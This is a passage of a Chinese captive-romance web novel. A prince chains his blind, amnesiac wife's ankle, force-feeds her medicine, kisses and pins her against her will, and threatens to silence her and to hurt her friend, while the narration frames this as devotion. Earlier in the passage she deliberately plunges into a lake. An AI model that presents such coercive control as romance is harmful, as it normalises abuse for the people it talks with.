哪怕,是一条无关紧要的线索。
倾盆大雨争先恐后地往下砸,雾蒙蒙的水汽乘着微凉的风直往人的脸上扑。
青蓉瞧着这雨势实在太大,一时间也回不去广寒院,于是对她道:“王妃,咱们等雨小点儿再回去吧。”
“嗯。”魏沛鸾缓缓点头,听着不远处路管家一行人也都被迫收了工。
雨势一时半会儿没有要停的意思,天却越来越暗了。
风呼呼地刮,凉意更甚。
魏沛鸾静静地站在廊下,任凭水汽往脸上扑。
她想要回忆起更多,可之后的记忆像是突然被掐断了,只能隐约又模糊地记起这么一些。
焦急不已的青蓉担心王妃再在这儿继续吹冷风的话,身子一定熬不住。到时候王爷若是怪罪下来,恐怕她不好交差。
左等右等,约莫是等了小半个时辰,雨势终于瞧着是小了一些,青蓉忙开口道:“王妃,您在此稍等,奴婢回广寒院拿伞。”
魏沛鸾细细听着周围的动静,雨声确实小了许多,但还在下,便道:“再等等吧,你冒雨去拿伞,身上也会淋湿的。”
“奴婢身子强健,没事的。”青蓉瞧见她的面色更是苍白,且在此处吹了这么久的冷风,身子一定十分不适,“奴婢快去快回。”说完,青蓉拔腿冲入雨中。
廊下,顿时只留魏沛鸾一人。
她往前几步,伸出手想看看雨有多大。当冰凉的雨水触碰到肌肤时,她突然瑟缩了一下身子。
不是因为雨水冰冷刺骨,而是脑海中突然又闪过一幕画面。
她沉去湖底的画面。
沉默一会儿,她抬脚走进雨幕里。
湖里藏着一部分记忆,她越靠近这里,便能想起来更多。
或许是因为失明,所以隔绝了一部分不必要的事物,隐藏在脑海中某处的记忆,便会如潮水般涌现。
细密的雨水顺着额头滑落至下巴,魏沛鸾循着记忆中的路线,小心翼翼地走到湖边。
她俯下身摸索着,很快摸到湖边的围栏。
如果自己再掉进去一次会怎么样?
会恢复记忆吗?
还是会因无人发现她掉进湖里,而悄无声息地死去?
无非就是这两个可能。
活着或是死去。
她要赌一把,必须要赌一把。
她不能任人宰割,不能被李京熠一直关在这里。
这么想着,她决绝地往前迈出一步。
“扑通”一声,她重重跌入湖中,冰冷的湖水瞬间将她紧紧包裹,连一丝喘息的余地都不留。
刺骨的寒意如毒蛇般缠绕周身,恐惧从心底陡然升起。可脑海深处依旧一片空白,那些期盼中的记忆,终究没有如约涌现。
身体不受控制地向下沉去,她拼命划动双臂,试图挣脱这冰冷的囚笼。湖底的水草却在挣扎中缠住了裙摆,将她死死拽向湖底深处。
难道,自己就要这样糊里糊涂地死去?
仅仅为了验证一个荒谬的猜想?
这念头听起来可笑至极,甚至愚蠢得令人心寒。
可笑的是,她连自己的过去都记不清,却还要为一个虚无缥缈的可能,赌上性命。
罢了,听天由命吧。
就算是因此死去,那也是她自己的选择,是她对这荒诞命运最后的、徒劳的反抗。
当意识逐渐模糊,思绪如烟消散,她终于彻底闭上了眼睛,任由黑暗将自己吞噬。
-
再次睁开眼时,眼前仍然漆黑一片。
但她可以确定的是,她没有死。
她动了动身子,甚至感觉到自己在一个温暖的怀抱之中。
除了李京熠,她想不到还有谁。
他抱得太紧,她不安分地动了动身子,却听见床尾传来铁链剐蹭的声音。并且她的左脚脚脖子上,为何有一圈冷冰冰的东西?
想到这里,她猛地起身,随后伸手朝自己脚脖子上探去。
冰冷刺骨,坚硬无比,居然是一个铁环!
李京熠睁开眼,默不作声地盯着她脸上的表情变化,随后撑起身子。
察觉到李京熠醒来,情绪激动的魏沛鸾立刻高声质问道:“为何要这么做?!”
“你要自尽,我不会让你如愿。”李京熠伸手抚向她白皙细腻的脚踝,才戴上不过两个时辰而已,竟已微微泛红。
他的触摸让魏沛鸾感到恶心,于是狠狠推了他一把,“你把这东西打开!我不是要自尽,我只是……”话到嘴边,她顿了顿,随后才继续说:“是失足,不小心掉进了湖里。”
不能让他知晓她真正的目的,否则,指不定他又要给她喂什么毒药。
李京熠望着她苍白的脸色,似乎在思考着什么,喃喃道:“是吗?”<
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魏沛鸾看不见他的脸色,不明白他这一句疑惑是何意。
是信她?
还是不信她?
说到底,李京熠自然是不信的。
因为他亲眼看见她走向湖边,亲眼看见她掉进去。掉进湖里之后,他等了一会儿,甚至不曾听见她开口呼救。
这不是自尽,又能是什么?
两个人之间的气氛再次沉闷下来,魏沛鸾知道李京熠这人不好琢磨,既然他这会儿硬的不吃,那就态度缓和些试一试。
“我保证不会再发生此事,你将这铁链打开好吗?我眼睛已经看不见了,难道你还想让我无法行走?”
李京熠宽大的手掌覆上她的小腿,她的小腿于李京熠而言很是熟悉。之前在云隐别院时,他日日不辞辛劳为她按摩,期盼她恢复如初。
如今,却要用铁链将她锁住,不让她行走。
这很矛盾,也让李京熠后悔。
后悔没有早点把她的双腿打折,才让她无故掀起这么多的事端。
“只要能让你留在我身边,无论你是否看得见,无论你是否能行走,我都不在乎。”
他的声音极度平静,像是在诉说一件稀松平常的小事。
可钻入魏沛鸾的耳中,这句话像是变成了一条剧毒的小蛇,一寸一寸啃咬着她的脑髓。
疯了。
这人真是疯了!
魏沛鸾气得想踹他一脚,奈何吃了眼睛看不见的亏,竟被他一把抓住脚踝。紧接着,她被李京熠拉到身下,死死压住,无法动弹。
剧烈的动作使得铁链哗哗作响,刺耳得很。
魏沛鸾抬手给了他一巴掌,但只有指甲在他的脖子上留下了两行血印子,巴掌并未扇到他的脸上。
细密的疼痛骤然刺破肌肤,李京熠的动作顿了顿。但这等不足挂齿的小伤,并不会让他放在心上。
“李京熠!你个畜生!放开我!”魏沛鸾的心里恐惧陡然攀升,忍不住破口大骂。
李京熠头一次听到这样的话从她嘴里钻出来,不禁觉得十分新奇,更感到开心,“小九,虽然我很喜欢你这样骂我,但为夫劝你还是省省力气。否则,待会儿怕是又要向我求饶,无法尽兴。”
在这个紧要关头,魏沛鸾自然是无心与他说这些没皮没脸的话。见骂他不奏效,只好屈起膝盖抵住他,试图让他离自己远点。
可力量上的悬殊实在太大,这样做无济于事。
李京熠俯身凑近她,贴在她耳侧冷冷道:“何必挣扎呢?你我是夫妻,本该如此。”
“谁与你是夫妻?!骗我很有意思吗?”
“怎么能是骗你呢?”李京熠一副伤心的模样,奈何魏沛鸾无法看到,“你我之间比夫妻还要恩爱,且同床共枕这么多时日,难道,从前的一切都不作数?”
“于我而言,那些全都是欺骗。”
脚上的镣铐彻底磨灭了她最后的希望,她原以为一切都还来得及,结果李京熠总能出其不意,让她的一切努力都付之东流。
李京熠在她的鼻尖轻轻落下一吻,喷洒出的气息冰冷如霜,只缓缓吐出四个字:“不是欺骗。”话落,还不等魏沛鸾再开口,便将所有的话语都堵在她的唇间。
24. 第24章
魏沛鸾的身子本就不太好,掉进湖里之后的第二日,她发起了高烧。
高烧使得她整个人迷迷糊糊的,时而清醒,时而昏睡,脸色惨白,脾气也不好。
李京熠守在床前,脸上的表情虽然平静,但眼底始终弥漫着一层挥之不去的担忧。
大夫一早便来过,开了药方后,李京熠便吩咐人立刻去熬药。好不容易熬好了药,晾凉端来,魏沛鸾却始终不肯喝。
她倔强地紧紧抿着苍白的唇,不让李京熠寻到一丝得逞的机会。棕色的液体顺着她的嘴角流下,青蓉赶紧拿帕子为她擦拭,随后小心翼翼地瞄了一眼王爷的脸色。
非常不好。
强压着心中的怒火,李京熠的脸色阴沉得可怕,冷冷地对青蓉做了个手势,示意她出去。
青蓉识趣地退下,出去时顺带关上了门。
屋内瞬间恢复平静,静得只能听见两个人的呼吸声。
“为何不肯喝药?”
魏沛鸾强撑着迷迷糊糊的意识,开口时,声音微弱嘶哑,语气中的愤怒却不减弱半分,“谁知道你给我喝的是不是毒药?”
“这么不信任我?”
“难道你信得过?”魏沛鸾轻飘飘的一句反问,却是在陈述事实。
李京熠眸色一沉,思虑过后,放缓了语气哄道:“好了,现在不是说这些的时候,乖乖喝药,身子才能好。”
魏沛鸾整个人烧得头重脚轻,偏偏脚边的铁链总是随着她的动作哗哗作响,让人更加心烦,于是冲他吼道:“拿走!不喝!”
现在的她变成了什么呢?
一个戴着镣铐的瞎子囚犯。
而始作俑者却还在假装好人,这怎么能让人心平气和地跟他对话呢?
李京熠没有太多耐心陪她胡闹,强压下去的怒火最终还是窜了上来。他钳住她的下颌迫使她张嘴,猛地将碗中的汤药往她嘴里灌。
苦涩的液体毫无征兆地涌入喉咙里,她呛地直咳嗽,汤药在她的抗拒推搡间流下大半,身上因此一片狼藉。
李京熠看着她这副誓死抗争的模样,终于是忍不住气得摔了碗,怒道:“这不是毒药!小九,你究竟让我做什么你才满意?”
突然的怒吼吓得她立刻呆愣住,这似乎是李京熠第一次这样冲她吼。
想必,这才是他的真面目。
看来,李京熠终于是装不下去了。
沉默过后,魏沛鸾的心里很快恢复,淡淡地嘴里蹦出几个字,“杀了我,或者放了我。”
“休想!”李京熠的额头上青筋凸起,狠狠瞪着她,脸上的表情极度骇人,“哪怕你死,我也不会放你走!”
“为什么?”魏沛鸾紧紧攥着拳头,高烧使得她裸露在外的皮肤微微泛着一层粉红。此刻她的眼中噙着泪,湿漉漉的眸子没有聚焦,就那么仰着头,却是别样的好看。
李京熠盯着她,凌厉的眼神似乎要把她看穿,“等你记起的那一天,自然会真相大白。”
这说与不说有何区别?魏沛鸾还是不明白。
李京熠说的很多话,她都不明白。
脑子里昏昏沉沉的,魏沛鸾无力地躺回床上。
罢了,无论如何去问,无论问多少遍,都是无法从他的口中听到答案。
“我无需你照顾,你走。”
“你不肯喝药,也不肯让我照顾你,你还发着高烧,这让我如何走?”李京熠渐渐平静下来,怕她一时间又会做出什么傻事来。
魏沛鸾闭上眼睛,无奈地别开脸去,“都这个时候了,你还要在我面前装好人?李京熠,到底哪一副模样才算是真正的你?”
李京熠轻叹口气,拿着帕子去替她擦下巴和锁骨处的药渍,动作轻柔缓慢,像是在擦拭一块绝世美玉。
奈何魏沛鸾丝毫不领情,她挥开他的手,微抿着唇,微蹙着眉,一副隐忍痛苦的模样。
“你听话些,我自然会对你好。”
“我无需你对我好!”这样的处境下,李京熠居然还能堂而皇之地说出这样的话,当真以为困着她,便是为了她好了?
“你觉得是我有错在先?”
这个问题冷不丁钻入她的耳中,不禁让她心生好奇。
但她却始终一言不发,像是没听见。
李京熠俯身下去,凑到她面前,接着说道:“实则不然。”
短短四个字引起她心中的无限好奇,她很想要刨根究底,又害怕是李京熠为了让她开口而抛出的钩子。
她沉默着,仍旧一言未发。
李京熠俯身吻在她滚烫的额头,想要抽身离去时,他敏锐地捕捉到她湿漉漉的睫毛轻颤,像一只振动翅膀的蝴蝶,好看得很。
心尖仿佛被什么东西轻轻抓挠了一下,痒痒的。
李京熠的眼底晦暗不明,抬手捏住她的下巴,含住她滚烫却又苦涩的唇瓣,动作轻柔,夹杂着一丝隐隐约约的眷恋。
心中烦闷的魏沛鸾拒不迎合,找准时机一口咬在他的下唇。
李京熠吃痛把她松开,用手背轻蹭了一下嘴角。
痛虽痛,但没有流血,看来她没有下狠口。
他轻笑一声,起身离去。
李京熠离开之后,青蓉又端进来一碗药,魏沛鸾整个人还是迷迷糊糊的,已经没有力气再闹,况且也不想让无辜的人为难,于是勉强喝下了半碗。
嘴里都是苦的,很是难受。
青蓉喂给她几颗甜滋滋的梅子,如此才好受些。
-
失明使她无法辨别日夜,一觉醒来,无论是睁眼还是闭眼,眼前都是漆黑一片。
嗓子干哑,十分难受。
她掀开被子下床,拖着脚上的铁链踉踉跄跄地往桌子边去,想要倒一杯水喝。
屋内的陈设布置于她而言已是十分熟悉,但因双眼无法看见,还是在靠近桌子时,膝盖突然撞上了凳子。
她疼得闷哼一声,眼角逼出一颗泪。
强忍着疼痛,魏沛鸾摸索着在凳子上坐下,随后伸手往桌子上探索着,好不容易摸到了茶壶,却不小心碰倒了水杯。
白瓷杯咕噜咕噜地滚向桌子边缘,随后“哗啦”一声,摔碎在地。
顷刻间,所有的委屈涌上心头,她将手中的茶壶重重摔向地面,眼泪扑簌簌地往下掉。
她原以为自己可以镇定,可阻碍在她面前的事物实在太多,她无法心平静和,无法做到毫不在意。
李京熠确实斩断了她所有的生路,已经把她往死路上逼。
脚上的镣铐犹如荆棘,她每动一下,便觉得针扎似的难受。
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脚踝上的冰冷,直往心里刺,直到把她刺地心如刀绞,直到刺穿她所有的伪装坚强。
她抬手胡乱擦了一把眼泪,转身往回走。可不想有一块碎瓷片溅到她的脚边,恰好被她踩住。
那双白皙柔嫩的脚上并未着鞋袜,锋利的瓷片边缘瞬间划破她的脚底,温热的鲜血立即流出,不给她一丝反应过来的机会。
“啊!”
她疼得叫出声,不得不立刻蹲下身,无助的泪水再一次忍不住往下流。
无力感吞噬她全身,她从未想过有一天自己会这么没用。
这一切,全都是拜李京熠所赐。
如果自己能早一些看透他,就不用受这些苦楚。
“吱呀”一声,门开了。
李京熠瞧见她这副模样,眼底闪过一丝惊讶,当注意到她的脚被瓷片划伤,大步走到她跟前蹲下身,仔细查看她的伤势。
魏沛鸾感觉到独属于李京熠的气息,于是伸出手颤颤巍巍地去摸索。
当指尖触碰到他的脸颊时,抬手狠狠扇了他一巴掌。
这一次,力度和位置都正正好。
李京熠没有躲开,魏沛鸾也没有扑空。
清脆的响声回荡在耳边,很干脆很决绝。魏沛鸾颤抖着收回手,手掌逐渐发麻。
李京熠被打地偏了身子,脸上却丝毫未有怒意,只是垂眸淡淡地扫了一眼她发红的掌心,随后抬手擦掉她满脸的泪痕,问:“消气了吗?”
“不够!”
“那就再打一巴掌?”
魏沛鸾紧抿着唇,不语。
打他这一巴掌的确不够消气,但她浑身酸软,已没有力气。
李京熠将她抱起往床上去,动作轻柔地放下她,随后去查看她脚底的伤。
脚踝被他用力扣住,魏沛鸾不甘心地往回抽。
“别动。”
冷冷的两个字犹如魔咒,她别开脸去,沉默着不再乱动。
“伤口不深。”李京熠用帕子擦掉她脚底的血迹,“我让大夫来给你看看。”
她还是不说话,仿佛没听见他的话,又像是单纯地在赌气。
擦掉她脚底的血迹,李京熠回头看了眼碎了一地的瓷片,又看了看她苍白的嘴唇,“饿了?”
魏沛鸾还是不语。
李京熠用手背轻蹭她的脸颊,难得的好脾气,温柔道:“是你打人在先,为何还不肯消气?也不肯理我?”
魏沛鸾皱着眉头,“不想见到你。”
闻言,李京熠却轻笑出了声,“小九看得见我了?”话落,指尖轻轻蹭过她泛红的眼角。
她低下头,嘴巴抿成一条委屈的弧度,眼底有泪水在打转,似是要哭。
李京熠伸手将她揽入怀中,紧紧地抱住。
她比起从前还要瘦一大圈,不爱说话,也不爱笑了。现在的她,浑身竖着刺,任凭他如何安抚,都无济于事。
被紧抱在怀里的魏沛鸾差点喘不上来气,她伸手想要去推开李京熠,可方才打了他一巴掌的右手还疼着,压根不想再主动碰他。
李京熠有时会任由她如此胡闹,有时却是半点任性都不被允许。
他是个极其难琢磨的人,魏沛鸾无法看透他。
现在对她的好,又是基于何目的呢?
25. 第 25 章
李京熠捧住她的脑袋,深情地在她的额头、鼻尖、脸颊上都落下吻。
被他亲吻过的位置,都染上了一丝沁人的凉意。
眼神空洞的魏沛鸾呆呆地坐在床上,一丝生气都没有,像是一只被人操控的提线木偶。
见她情绪缓和些了,李京熠起身出去,恰巧看见青蓉端着晚膳过来,于是吩咐她去请大夫,并接过她手中的晚膳,说自己拿进去。
整整一日没吃过几口东西的魏沛鸾在闻到食物的香气时,脸上的表情终于是放松了些。
李京熠坐回到床前,端上那碗鸡汤,用勺子舀了一勺放在嘴边吹凉,随后才送到她嘴边,“先喝口汤。”
魏沛鸾乖乖喝下,没有一丝抗拒。
她这副乖顺的模样让李京熠有些惊讶,接连喂了好几口,她都相当配合。
方才发了一通脾气,魏沛鸾确实觉得心里是好受了一些。况且,就算让她再闹,她也没有力气了。
“我自己来。”说着,她去拿李京熠手中的碗。
李京熠怕她把碗打翻,于是并未与她争抢,而是小心翼翼地递到她手里,随后说道:“小心。”
魏沛鸾用勺子一小口一小口地喝着,很快一碗鸡汤见了底。
李京熠静静地坐在一旁,默默地注视着她。
她的眼尾泛红,睫毛还湿漉漉的,眼圈有些红肿,不过好在总是紧锁的眉头终于舒展开,瞧着少了些攻击性。
碗里的鸡汤喝得干干净净,她将空碗往李京熠手里塞。
李京熠稳稳地接过碗,用帕子擦了擦她的嘴角,问:“还要吗?”
魏沛鸾点头。
恰好这时候青蓉领着大夫进来,李京熠吩咐青蓉再去盛一碗鸡汤。
大夫为魏沛鸾划伤的脚底上了药并包扎好,之后为她把过脉,说是高烧还未痊愈,仍需好好调理身子,切勿动气伤身。
听完大夫所言,魏沛鸾脸上的表情淡淡的,甚至是皱了皱眉头。
李京熠摆摆手,示意大夫出去。
卧房之中再一次恢复平静,李京熠握住她染上凉意的手,轻轻摩挲她的手背,“听大夫的话,好好休养。”
魏沛鸾嘴唇微抿,用力抽回了自己的手。
她的回答显而易见,便是不听。
李京熠轻叹口气,似乎是在调整自己的情绪,过了会儿之后,才问:“为何?你认为你糟蹋自己的身子,我便会心疼?便会因此对你百般让步、妥协?”
魏沛鸾还是不说话。
她从不认为这样做可以得到李京熠的怜悯,毕竟她变成如今这副模样,已经十分糟糕。
可李京熠还是不满于现状,还在逼迫她。
“你若是不愿说话,我可以让你永远都说不了话。”
冷冰冰的一句话骤然钻进耳朵里,惹得魏沛鸾身上汗毛倒竖。
在这个夏日夜晚,她突然感觉到有一条冰冷的蛇攀爬至她全身,将她牢牢缠住,不让她呼吸,不让她动弹,直到耗尽她最后一丝意识。
他冷血、残暴、狠毒,魏沛鸾想,或许李京熠就是一个这样的人。
他从前表现出来的温柔、耐心、深情,全都是假的,假的彻底。
“你还是人吗?”
“我有血有肉,你感受得到。”
“畜生也同样有血有肉。”
闻言,李京熠突然笑出声,那双好看的深邃的眸子里,也带着浓浓的笑意,“小九,你这句玩笑话,还真是好笑。”
“我不觉得。”魏沛鸾狠狠掐着掌心,语气尽显从容,“我不觉得我在跟你开玩笑。我想,你也不是在跟我开玩笑。”
话音一落,李京熠眼底的笑意戛然而止。
他伸手将魏沛鸾鬓边的发丝拢到耳后,随后指尖有意抚过她柔嫩敏感的耳垂,一把勾住她的后颈让她靠近自己,低声道:“对,我不是在开玩笑。我知道你不惧死,不惧痛苦。但倘若你再敢忤逆我,我便将这些痛苦十倍百倍地转移到芙蕖身上去。”
这番话如恶魔低语,很精准地踩在她的心上,她抬手想打,却被李京熠一把扣住手腕。
手腕以一种别扭的姿势扣在身后,李京熠顺势将她搂进怀里,低头一口咬在她的颈侧,随后补充了一句:“不要再试图对我动手,我不喜欢被女人打。就算是你,也不例外。”
颈侧突然传来的疼痛使魏沛鸾瑟缩了一下身子,偏偏这样的姿势让她挣扎不开,气得她只从口中憋出两个字:“混蛋!”
“嗯?”李京熠皱眉看她,“骂人也不行。”
魏沛鸾气得火冒三丈,牙齿咬得咯咯响。
李京熠有意磨一磨她的性子,哪怕是打他骂他,他都不在意。因为他知道这几日里,她因遭受了太多事,性情不稳定。
既如此,他便更不能让她随心所欲。
毕竟她曾是影阁之中最出色的杀手,要想完全掌控,仅仅靠毒药是不行的。
-
魏沛鸾脚底的伤口不深,但过了整整三日,还是不见好。因此李京熠换了两三个大夫来看过,得到的结论都是一样的。
大夫们都说她是心气郁结、身子虚弱,才导致这伤口总是不愈合。
好不容易退了高烧,这会儿又因脚伤而卧床,魏沛鸾的心情愈发糟糕。
她找不到任何事情打发时间,终日睁着那一双看不见的眼睛与床为伴,谁来都不想理会,连青蓉陪她说话时都不应。
这样下去不行。
李京熠不得不让她接触外人,放松心情,好让她先把脚伤养好。
他唯一可以想到的人是李灵,毕竟她前些日子来过,但当时李京熠以魏沛鸾身子不好为由,不宜见人而拒绝了。
这么想着,他立刻派人去永安侯府请李灵过来。
被主动请到端王府,李灵很是惊讶。
还没来得及问清楚是怎么一回事时,便被李京熠带到了广寒院。
在看到床榻之上那一位了无生气的美人时,李灵才恍然大悟。
她一副欲言又止的模样,看向身旁的李京熠,忍了半天,还是压低了声音悄悄问道:“皇兄,嫂嫂为何变成这副模样了?是生了什么大病?时日不多了?”
“莫要胡言!”李京熠喝斥道。
李灵自知问了无理的话,赶紧捂嘴住口。
李京熠望向病恹恹的魏沛鸾,转头对李灵道:“你陪她说说话,说什么都可以,让她开心一些,别像现在这样。”
尽管李灵有许多话要问,但碍于现在的场合,一切尽在不言中,不该贸然提起。于是她点点头,抬脚往床榻边去。
走近
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她,李灵才隐隐约约闻到一股苦涩的药味,并且,她瘦到毫无血色的脸上一丝表情都没有。
更让人无法忽视的,是她脚踝上的铁链。
这当然是她皇兄的手笔,这不难猜到。
但那人是她兄长,她第一次看到兄长为一个女人这样发疯,心里不禁对魏沛鸾感到同情,可无可奈何。
第一次见到她时,分明她与皇兄还是一副十分恩爱的模样。
现如今,完全被折腾地不像人样。
“嫂嫂?”李灵轻轻唤她一声,也不知道她有没有察觉到自己来了。因为从她踏入这间屋里开始,魏沛鸾就没有转头看她一眼。
听到身旁传来的声音,乍一听有些陌生。
可再仔细一听,似乎又有些耳熟。
她不安地皱了皱眉头,一时间没想起来是谁。
注意到她毫无聚焦的双眼,李灵大吃一惊,但除了吃惊之外,她又能做些什么呢?
“嫂嫂,我是灵儿。”李灵握住她冰凉的手,“我来看你了。”
“灵儿?”魏沛鸾喃喃着这个名字,仔细感受手上传来的温度,过了好一会儿,才终于找到那张对应上名字的脸,“公主。”
“是我,嫂嫂你还记得我?”见她脸上的表情不似那么冷漠,李灵松了口气,“听皇兄说,你大病一场,至今未痊愈,他让我来陪你说说话。”
闻言,魏沛鸾微微别开脸去,眼底染上一层显而易见的落寞,喃喃自语道:“我病了吗?”
眼前的人与前些时日相比,完全判若两人。
要不是她鼻间的那一颗痣让人记忆深刻,李灵是完全不敢认的。好端端的一个人变成这副模样,李京熠一定是难辞其咎。
但李灵能做些什么呢?
难不成,她能去指责她的皇兄吗?
“嫂嫂,你整日闷在这屋子里,病是好不了的。我带你去外面走走,可好?”
话音一落,病怏怏的魏沛鸾顿时有了精神,紧紧回握住她的手,神情激动道:“可以出去?”
“嗯。”李灵重重点头。
这外头分明是艳阳高照的天气,可她双手冰凉,全身的气血仿佛是凝固了,没有一丝温暖的踪迹。甚至与她肌肤相贴久了,她身上的那一股凉气也逐渐侵入到自己的身体里,令人不禁汗毛倒竖。
一听能走出这房门,魏沛鸾颤颤巍巍地掀开被子想要下床,可脚踝上的铁链哗哗作响,她要如何出去?
李灵回头看了眼李京熠,指了指魏沛鸾脚上的铁链,示意他打开。
在门口站了会儿的李京熠竟没想到李灵三两句就要让他打开锁链,脸上的表情顿时变得难看,立在原地久久没有动作。
魏沛鸾蹲在地上摸索着想要穿鞋袜,但那一条冰冷的铁链总是碍手碍脚,好几次都不小心摸到它,她皱着眉头狠狠地把它丢很远。
沉重的铁链砸在木地板上,发出沉闷的一声响。
李灵看着她的一举一动,觉得实在可怜,于是又朝李京熠做手势,示意给她钥匙。
李京熠的视线落在魏沛鸾身上,瞥见她弯弯的嘴角,知道她是委屈地快要哭了。
罢了,放她自由片刻。
钥匙稳稳地抛到李灵手上,她拿着钥匙打开魏沛鸾脚上的枷锁,帮助她穿上了鞋袜。
26. 第26章
魏沛鸾已不记得自己有多久没走出这屋子了,当她闻到烈日的气味,才终于觉得心脏开始蓬勃地跳动起来。
她脚底的伤还未痊愈,走起路来很是艰难缓慢。李灵扶着她,让她慢慢地走,耐心地告诉她不要着急。
话虽如此,但她怎么可能不着急?
她从未觉得取下枷锁之后,脚步可以这么轻盈。
像是踩在棉花上,让人想要不停地一步一步往前走。
尽管眼睛还是看不见,但她已经可以深深地呼吸一口气,好好放松放松了。
“嫂嫂,你慢一些。”担忧不已的李灵稳稳地扶着她,还是忍不住提醒道:“要是你觉得脚底的伤还疼,咱们就坐会儿再走,歇一歇。”
“不疼。”魏沛鸾摇摇头,哪怕热的额头上冒出细汗,她都不想停下自由的脚步。
李灵担忧地看她一眼,随后回头瞥了眼李京熠。
他正目光灼灼地盯着她们二人,像是在看犯人。
这样的目光的确让人很不舒服,李灵敢怒不敢言,生怕被他认为自己带魏沛鸾出来是别有用心。
沿着廊下走了一段距离,李灵执意让她歇会儿,否则,跟在身后目光灼灼的李京熠恐怕就真的会冲到她们面前来阻拦。
坐在廊下稍歇,李灵注意到她的面色红润不少,看来出来走走还是有效果。
魏沛鸾抬手擦了擦滑落到下巴上的汗,身上虽然觉得累,但心情总算是愉悦起来。
“嫂嫂,你开心一些嘛!你开心一些,我皇兄他也能开心一些。”见时机差不多到了,李灵无意似的挑起话题道:“皇兄他十分喜欢你、看重你,他见你终日郁郁寡欢,担心地不得了,所以特地叫我来陪你。”
“他担心我?”
李京熠怎么可能担心她呢?
若是真的担心,为何把她当做囚犯?
这不是担心,这是折磨。
魏沛鸾眨着那双漂亮的大眼睛,往李京熠的方向望了一眼。微风中夹杂着属于李京熠的气息,他一直都在身后,跟了一路。
她虽然眼瞎,但李京熠的气息她最为熟悉,不会记错。
他借李灵之口说这些话是何意味?
让她心软?让她放松警惕?
钻入廊下的那一缕阳光斜斜地洒在她脸上,仿佛要将她灼伤。她随即别开脸去,挣扎着想起身。
李灵为难地向李京熠投去目光,可他脸上的表情淡淡的,没有任何多余的表情或动作,也没再跟上来。
不得已,李灵只好继续扶着魏沛鸾往前走。
走到湖边,魏沛鸾听着湖水击打在岸边石板上的声音,驻足停留。
“嫂嫂,你还是离湖边远些吧。”李灵提醒道。
冷不丁这么一句话冒出来,倒是让魏沛鸾觉得好笑,“你也像李京熠一样,怕我想不开去投湖?”
这话问得奇怪,瞧她这副模样,的确不像是会投湖的样子,“但我听皇兄说,前些日子你掉进了湖里,难道不是因为……”
“失足而已。”魏沛鸾骤然打断她的话,不管李京熠编造了一个怎样的故事,那都是为了掩盖谎言,“雨天路滑,我失足掉进了湖里。”
“哦,失足啊。”李灵半信半疑地点点头,手上扶住她的动作不自觉用力了几分,“那嫂嫂你今后可得当心一些。”
魏沛鸾点点头,随后开口道:“公主,我想问你些事。”
“嫂嫂不必见外,叫我灵儿便好。”李灵察觉到她要往湖边去,顿时打起了十二分的精神,“嫂嫂想问什么?尽管问,我定然知无不言。”
犹豫了一会儿,魏沛鸾认真地开口问:“从前,在金缕阁中可有一位叫做芙蕖的姑娘?”
“芙蕖?”李灵很是好奇,疑惑地问:“便是那一日与我们见过的那位姑娘?”
魏沛鸾未点头,却也没摇头,“还有其他人叫这个名字吗?”
“当然没有。”李灵迅速摇头,笑道:“嫂嫂是想见芙蕖吗?若是想见,我同皇兄去说,让芙蕖来王府看你。”
魏沛鸾忍着脚底的疼痛,缓慢地在石子路上行走,过了好一会儿,才缓缓地摇头道:“我只是想知道,从前在金缕阁中的芙蕖是不是和现在的芙蕖长得一样?”
说不定,只要弄清楚芙蕖的真实身份,便能由此推断出她自己的真实身份。
那一日在树林之中,芙蕖并未来得及向她说更多的话。她只知道“影九”这个名字,还有那一把刻着“影”字印记的长刀。
她了解的东西实在太少,以至于根本无法找到任何其他线索。
这话问出来,李灵甚是疑惑,她用帕子擦了擦脸颊上的汗,这才回答道:“嫂嫂,你此话何意?难道有两个芙蕖?这金缕阁在城中已有些年头,要说有两个芙蕖的话,那岂不是很快便会有人察觉到不对劲?”
这番话说得不无道理,但这不能打消魏沛鸾心中的疑惑。
芙蕖不一定是芙蕖,但她一定和自己有着千丝万缕的联系。
她静静听着身后的动静,发现李京熠并未跟上来,于是继续问:“那你可知道‘影’吗?有没有从哪里听说过?”
“影?影阁?”几乎是一瞬间,这个名字便从李灵的嘴里钻了出来,吓得她迅速往四周扫视一圈,见无旁人在侧,随后压低了声音悄悄地问:“嫂嫂,你怎会知道影阁?”
“影阁?”听起来像是个地方,不过听着李灵的语气,她怎会如此大惊失色?
日头实在晒得很,李灵扶着她往湖边亭中去,让她坐下之后,解释道:“我也是听远之提过那么一句,只知道影阁是个很危险的地方。在江湖之中,人人避之不及。”
“江湖之中危险的地方?”魏沛鸾喃喃道。
因何危险?
因何避之不及?
李灵见魏沛鸾对此感兴趣,追问道:“不过嫂嫂,你为何好端端的提起影阁?芙蕖与影阁有何关系?”
魏沛鸾并不想牵扯无辜之人,哪怕她是李京熠的亲妹妹。但她身为局外之人,知道的越少越好,于是摇头道:“没怎么,或许是从前在哪里听到过这么一个名字,所以好奇想要问问。”
看来,目前能知道的也只有这么多了。
微风轻轻拂面而来,吹散四周的炎热,随后她补充一句:“灵儿,这件事还望不要告知李京熠。”
“为何?”
“方才听你说影阁是个很危险的地方,既如此
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,我不想惹他为我担心。”
李灵并未多想,点头道:“好。”
魏沛鸾静坐着,不再言语。
结合目前的情况来看,芙蕖很有可能是影阁中人。既然芙蕖是影阁之中的人,那么自己与影阁有何关联?
自己的真实姓名叫做影九,难道,自己也同芙蕖一样,是影阁里的人?
不过令她疑惑的是,影阁是个什么样的地方?
除了她与芙蕖之外,北苍城中还有其他影阁的人吗?
就算有,她要如何才能接触到?
这样盲目下去是不行的,她的记忆没有恢复,所以归根结底,她还是要立马找到芙蕖,问清楚事情的原委。
可对于现在眼盲的她来说,端王府实在大得出奇,她要如何才能在黑暗中寻找到芙蕖呢?
李灵是个忍不住寂寞且话多的人,身旁坐着个人,她便总是忍不住要搭话,“嫂嫂,二弟说想见一见你。”
拉回逐渐飘远的思绪,魏沛鸾放松脸上的神色,“二公子?他找我何事?”
“唉!其实也没什么要紧事。”提到这个,李灵尴尬地笑笑。她又岂会不知程敬之的心思呢?只不过是想见一见罢了,并非是真的有要紧事,“二弟听闻我今日到王府来,说什么也想一起来,幸好我好说歹说劝住了。不过……他说前些日子去买书时,在街上遇见过你?你当时正从医馆出来。”
原来那会儿程敬之瞧见了?
既如此,居然没有当众拆穿她?
为何呢?
“他想见我?要如何见?”魏沛鸾打算问一问他,看他是否知道一些事情,“连你见我一面都不容易,更何况是他?”
“嫂嫂若是愿意让他见你,我来想办法就是了。”
“李京熠是你皇兄,你这么背着他做事,真的不要紧吗?”
此话一出,李灵羞愧扶额。
